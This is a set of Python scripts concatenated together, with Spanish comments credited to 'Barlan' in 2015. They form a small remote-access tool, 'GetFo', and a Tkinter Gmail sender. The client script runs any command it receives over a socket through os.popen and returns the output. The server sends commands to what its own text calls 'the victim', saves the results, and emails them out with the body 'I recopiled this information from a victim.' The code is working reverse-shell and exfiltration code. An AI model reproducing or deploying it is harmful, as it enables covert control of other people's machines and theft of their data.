    def __init__(self, gmail, account):
        ne = Toplevel()
        ne.wm_iconbitmap('icono.ico')
        ne.resizable(0,0)
        ne.title("GetFo | New Email")
        ne.config(bg="black")
        self.gmail = gmail
        self.email = account

        topim = PhotoImage(file="sending_info.gif")
        r = Label(ne, image=topim, bg="black")
        r.image = topim
        r.grid()
    
        et = StringVar()
        es = StringVar()
        
        LE = Frame(ne, bg="black")
        LE.grid(row=1, column=0)

        Label(LE, text="From: %s" % account, bg="black", fg="orange").grid(row=0, column=0, columnspan=2, sticky=NSEW)
        Label(LE, text="Attachment: 'data.txt'", bg="black", fg="orange").grid(row=1, column=0, columnspan=2, sticky=NSEW)

        Label(LE, text="To:", bg="black", fg="green").grid(row = 2, column = 0, columnspan=2, sticky=W)
        self.email_to = Entry(LE, textvariable=et, width = 35)
        self.email_to.grid(row = 2, column = 1, sticky=E)
    
        Label(LE, text="Subject:", bg="black", fg="green").grid(row = 3, column = 0, columnspan=2, sticky=W)
        self.email_subject = Entry(LE, textvariable=es, width = 35)
        self.email_subject.grid(row = 3, column = 1, sticky=E)
    
        Label(LE, text="Your Message:", bg="black", fg="green").grid(row = 4, column = 0, sticky=W)
        self.email_msg = Text(LE, width = 35, height = 5)
        self.email_msg.grid(row = 4, column = 1, sticky=E)
    
        self.email_button = Button(ne, text="Send", command=self.sendEmail, bg="black", fg="green")
        self.email_button.grid(row = 2, column = 0, sticky=NSEW)
        
        salir = Button(ne, text="Exit", command=ne.quit, bg="black", fg="red")
        salir.grid(row = 3, column = 0, sticky=NSEW)

    def sendEmail(self):
        '''Se obtienen los datos de los campos.'''
        self.to = self.email_to.get()
        self.subject = self.email_subject.get()
        self.msg = self.email_msg.get("1.0", END)

        # Ahora añadiremos el archivo al cuerpo del mensaje
        msg = MIMEMultipart('alternative')
        msg['Subject'] = self.subject
        msg['From'] = self.email
        body = self.msg

        filename = "data.txt"
        r = open(filename)
        att = MIMEText(r.read())
        att.add_header("Content-Disposition", "attachment", filename = filename)
        msg.attach(att)

        content = MIMEText(body, 'plain')
        msg.attach(content)
        try:
            self.gmail.sendmail(self.email, self.to, msg.as_string())
            showinfo("Completed","Email sent successfully to %s" % self.to)
            exit()
        except Exception as e:
            showerror("Error", str(e))
            exit()

GUI().mainloop()

import socket, os

class cCMD():
    def start(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect(("127.0.0.1", 10327))
            print("[!+] Connection established!")
        except:
            print("[-] Can't establish a connection to server.")
            exit()
        while True:
            print("\n[...] Awaiting commands...")
            re = sock.recv(1024)
            cmd = re.decode("utf-8")
            if cmd == "exit":
                print("\n[...] Exiting")
                exit()
            text = os.popen(cmd)
            data = str(text.read())
            sock.send(data.encode("utf-8"))
            print("[+] Data sent succesfully.")

if __name__ == "__main__":
    cCMD().start()

import socket, os
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

class Get():
    '''
    Get() crea el servidor, y apartír de ahi espera una conexión entrante (la victima).
    Lo siguiente es enviar un comando, y esperar los datos de regreso.
    Despues, elegimos la opción de si guardarlo en la PC, o enviarlo via correo electrónico.
    '''
    def __init__(self):
        self.i = True

    def menu(self):
        os.system("cls")
        print("""
#================================#
# getfo.py
# One client, one victim.
#================================#
1) Start server.
2) Send info.
3) Exit.""")
        e = int(input(">> "))
        if e == 1: self.start()
        elif e == 2: self.for_mail()
        elif e == 3:
            self.i = False
            exit_cmd()

    def start(self):
        '''start() comienza la ejecución del servidor
        Imprime un mensaje de exito y procede a esperar una conexión entrante.
        '''

        self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socksv.bind(("127.0.0.1", 10232))
        self.socksv.listen(2)
        print("\n[+] Server now listening on 127.0.0.1:10232\n")
        self.sc, self.addr = self.socksv.accept()
        print("[+] %s is now online." % str(self.addr))
        self.send_cmd()

    def send_cmd(self):
        '''send_cmd(), sus funciones son:
                1) Enviar comandos y recibir los resultados
                2) Guardar los datos en un archivo de texto.

            En caso de elegir enviarlos por correo electrónico, se procede a ello pasando a la clase send_Results().
        '''

        cmd = str(input("Command? (""exit"" to close)>> "))
        if cmd == "exit":
            self.sc.close()
            self.socksv()
            exit_cmd()

        self.sc.send(cmd.encode("utf-8"))
        print("[!...] Awaiting....")
        resp = self.sc.recv(2048)
        if os.path.exists("data_info.txt"):
            with open("data_info.txt", "a") as f:
                f.write(str(resp.decode("utf-8") + "\n\n"))
        else:
            with open("data_info.txt", "w") as f:
                f.write(str(resp.decode("utf-8") + "\n\n"))
        print("[+] Data received and saved on 'data_info.txt'")
        a = str(input("\n[?] Want to send another command? (y/n) ")).lower()
        if a == "y": 
            self.send_cmd()
        elif a == "n":
            g = str(input("[?!] Do you want to send the info via email? (y/n): ")).lower()
            if g == "y":
                self.for_mail()
            elif g == "n":
                exit_cmd()

    def for_mail(self):
        if os.path.exists("data_info.txt"):
            my_e = str(input("\n[?] Your gmail account: "))
            passw = str(input("[?] Your password: "))
            if self.i == True:
                b = Email(my_e, passw)
                b.login()
            else:
                self.menu()
        else:
            print("[!] File: data_info.txt doesn't exist.\nPress any key to return to the main menu....")
            self.sc.close()
            self.socksv()
            self.menu()

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

class Email():
    ''' Email() es el encargado de enviar el fichero por Gmail.
    Son recibidas 2 variables: tu correo, y tu contraseña.
    Se inicia sesión, y se procede a definir el email que recibirá el fichero.
    '''

    def __init__(self, my_e, passw):
        self.gmail = smtplib.SMTP('smtp.gmail.com', 587)
        self.mail = my_e
        self.passw = passw
    
    def login(self):
        '''login() se encarga de hacer conexión al servidor de Gmail, e inicia sesión con nuestros datos.'''
        self.gmail.ehlo()
        self.gmail.starttls()
        try:
            self.gmail.login(self.mail, self.passw)
            self.send_message()
        except Exception as e:
            print("[-] Error: " + str(e) + "\n\nPress any key to return to exit....")
            input()
            exit_cmd()

    def send_message(self):
        '''send_message() se encarga de definir el destino del correo,
        y además adjunta el archivo con los datos recopilados.'''

        e_to = str(input("\n[?] To address: "))
        msg = MIMEMultipart('alternative')
        msg['Subject'] = 'Information for you'
        msg['From'] = self.mail
        body = 'I recopiled this information from a victim.'

        filename = "data_info.txt"
        r = open(filename)
        att = MIMEText(r.read())
        att.add_header("Content-Disposition", "attachment", filename = filename)
        msg.attach(att)

        content = MIMEText(body, 'plain')
        msg.attach(content)
        print("[!] Sending email to %s..." % e_to)
        try:
            self.gmail.sendmail(self.mail, e_to, msg.as_string())
        except Exception as e:
            print("[-] Error: " + str(e) + "\n\nPress any key to return to the main menu....")
            input()
            a = Get()
            a.menu()

        print("[+] Data sent successfully.")

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

def exit_cmd():
        '''El mensaje de adios'''
        print("\nExiting... ")
        copyright()

def copyright():
        '''Creditos'''
        print("(C) Barlan. | April 21, 2015\n")

if __name__ == "__main__":
    Get().menu()

import socket, os

class cCMD():
    def start(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect(("127.0.0.1", 10232))
            print("[!+] Connection established!")
        except:
            print("[-] Can't establish a connection to server.")
            exit()
        while True:
            print("\n[...] Awaiting commands...")
            re = sock.recv(1024)
            if not re:
                print("\n[...] Exiting")
                exit()
            cmd = re.decode("utf-8")
            print("[!] Executing command...")
            text = os.popen(cmd)
            data = str(text.read())
            sock.send(data.encode("utf-8"))
            print("[+] Data sent succesfully.")

if __name__ == "__main__":
    cCMD().start()

# Coded by Barlan. 2015
from tkinter import *
from tkinter.messagebox import showinfo, showerror
import smtplib

class Login(Tk):
	'''Here the Login window appears and receives data from:
		- Email account.
		- Password.
		Also, tries to log in to your gmail account.'''
	def __init__(self):
		try:
			self.gmail = smtplib.SMTP("smtp.gmail.com", 587)
		except Exception as e:
			showerror("Fatal Error", str(e))
			exit()
		Tk.__init__(self)
		#self.geometry("268x157")
		self.resizable(0,0)
		self.title("e-Sender")
		self.config(bg="black")
		
		me = StringVar()
		mp = StringVar()
		Label(self, text="Your Gmail account:", bg="black", fg="green").grid(row = 0, column = 0, sticky=W)
		self.my_email = Entry(self, textvariable=me, width = 25)
		self.my_email.grid(row = 0, column = 1)

		Label(self, text="Your Password:", bg="black", fg="green").grid(row = 1, column = 0, sticky=W)
		self.my_passw = Entry(self, textvariable=mp, width = 25)
		self.my_passw.grid(row = 1, column = 1)

		self.email_button = Button(self, text="Enter", command=self.login_gmail, bg="black", fg="green")
		self.email_button.grid(row = 2, column = 0, sticky=NSEW)

		salir = Button(self, text="Exit", command=self.quit, bg="black", fg="red")
		salir.grid(row = 2, column = 1, sticky=NSEW)

	def login_gmail(self):
		account = self.my_email.get()
		self.password = self.my_passw.get()
		self.gmail.ehlo()
		self.gmail.starttls()
		try:
			self.gmail.login(account, self.password)
			showinfo("Success", "You are now logged in Gmail.")
		except:
			showerror("Error", "Unable to login into %s." % account)
			exit()
		gmail = self.gmail
		newEmail(gmail, account)
		self.withdraw()

class newEmail(Login):
	''' Now we can create a new email, specifying:
			- to
			- subject
			- message'''
	def __init__(self, gmail, account):
		Tk.__init__(self)
		self.resizable(0,0)
		self.title("New Email")
		self.config(bg="black")
		self.gmail = gmail
		self.email = account

		et = StringVar()
		es = StringVar()
		Label(self, text="From: %s" % account, bg="black", fg="orange").grid(row=0, column=0, sticky=NSEW)

		Label(self, text="To:", bg="black", fg="green").grid(row = 1, column = 0, sticky=W)
		self.email_to = Entry(self, textvariable=et, width = 25)
		self.email_to.grid(row = 1, column = 1, sticky=E)

		Label(self, text="Subject:", bg="black", fg="green").grid(row = 2, column = 0, sticky=W)
		self.email_subject = Entry(self, textvariable=es, width = 25)
		self.email_subject.grid(row = 2, column = 1, sticky=E)

		Label(self, text="Your Message:", bg="black", fg="green").grid(row = 3, column = 0, sticky=W)
		self.email_msg = Text(self, width = 25, height = 5)
		self.email_msg.grid(row = 3, column = 1, sticky=E)

		self.email_button = Button(self, text="Send", command=self.sendEmail, bg="black", fg="green")
		self.email_button.grid(row = 4, column = 0, sticky=NSEW)

		salir = Button(self, text="Exit", command=self.quit, bg="black", fg="red")
		salir.grid(row = 4, column = 1, sticky=NSEW)

	def sendEmail(self):
		self.to = self.email_to.get()
		self.subject = self.email_subject.get()
		self.msg = self.email_msg.get("1.0", END)
		headers = "From: %s\nTo: %s\nSubject: %s\n\n" % (self.email, self.to, self.subject)
		body = str(headers + self.msg)
		try:
			self.gmail.sendmail(self.email, self.to, body)
			showinfo("Completed","Email sent successfully to %s" % self.to)
			exit()
		except Exception as e:
			showerror("Error", str(e))
			exit()

L = Login()
L.mainloop()